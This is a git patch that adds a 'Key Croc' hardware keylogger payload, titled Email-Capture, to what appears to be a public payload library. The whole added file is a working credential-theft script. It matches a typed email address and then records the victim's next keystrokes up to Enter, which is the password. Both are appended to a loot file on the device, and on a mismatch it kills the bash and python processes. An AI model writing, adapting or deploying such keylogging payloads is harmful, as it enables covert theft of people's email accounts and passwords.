From 433337b9f77630f3ea42f6198cdf07ccc58979bb Mon Sep 17 00:00:00 2001 From: spywill Date: Thu, 20 Apr 2023 10:26:26 +0000 Subject: [PATCH] Create Email_Capture.txt Capture target E-mail address & password --- .../ Email-Capture/Email_Capture.txt | 36 +++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 payloads/library/credentials/ Email-Capture/Email_Capture.txt diff --git a/payloads/library/credentials/ Email-Capture/Email_Capture.txt b/payloads/library/credentials/ Email-Capture/Email_Capture.txt new file mode 100644 index 0000000..0e4ac67 --- /dev/null +++ b/payloads/library/credentials/ Email-Capture/Email_Capture.txt @@ -0,0 +1,36 @@ +# Title: Email-Capture +# Description: Capture target E-mail address & password save to /udisk/tools/target_email.txt +# Author: Spywill +# Version: 1.1 +# Category: Key Croc + +MATCH (^[a-zA-Z0-9_\-\.]+@[a-zA-Z0-9_\-\.]+\.[a-zA-Z]{3,5}$) + +pattern='^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{3,5})$' + +EMAIL_PASS() { + until [ -f /tmp/target_email_pw.txt.filtered ]; do + : + done + LED G + cat /tmp/target_email_pw.txt.filtered >> /root/udisk/tools/target_email.txt + rm /tmp/target_email_pw.txt /tmp/target_email_pw.txt.filtered + LED OFF + RELOAD_PAYLOADS +} + +if [[ "$LOOT" =~ $pattern ]]; then + LED B + echo "$LOOT" >> /root/udisk/tools/target_email.txt +else + LED R + killall -9 bash + killall -9 python + sleep 1 + LED OFF + RELOAD_PAYLOADS +fi + +SAVEKEYS /tmp/target_email_pw.txt UNTIL ENTER +LED OFF +EMAIL_PASS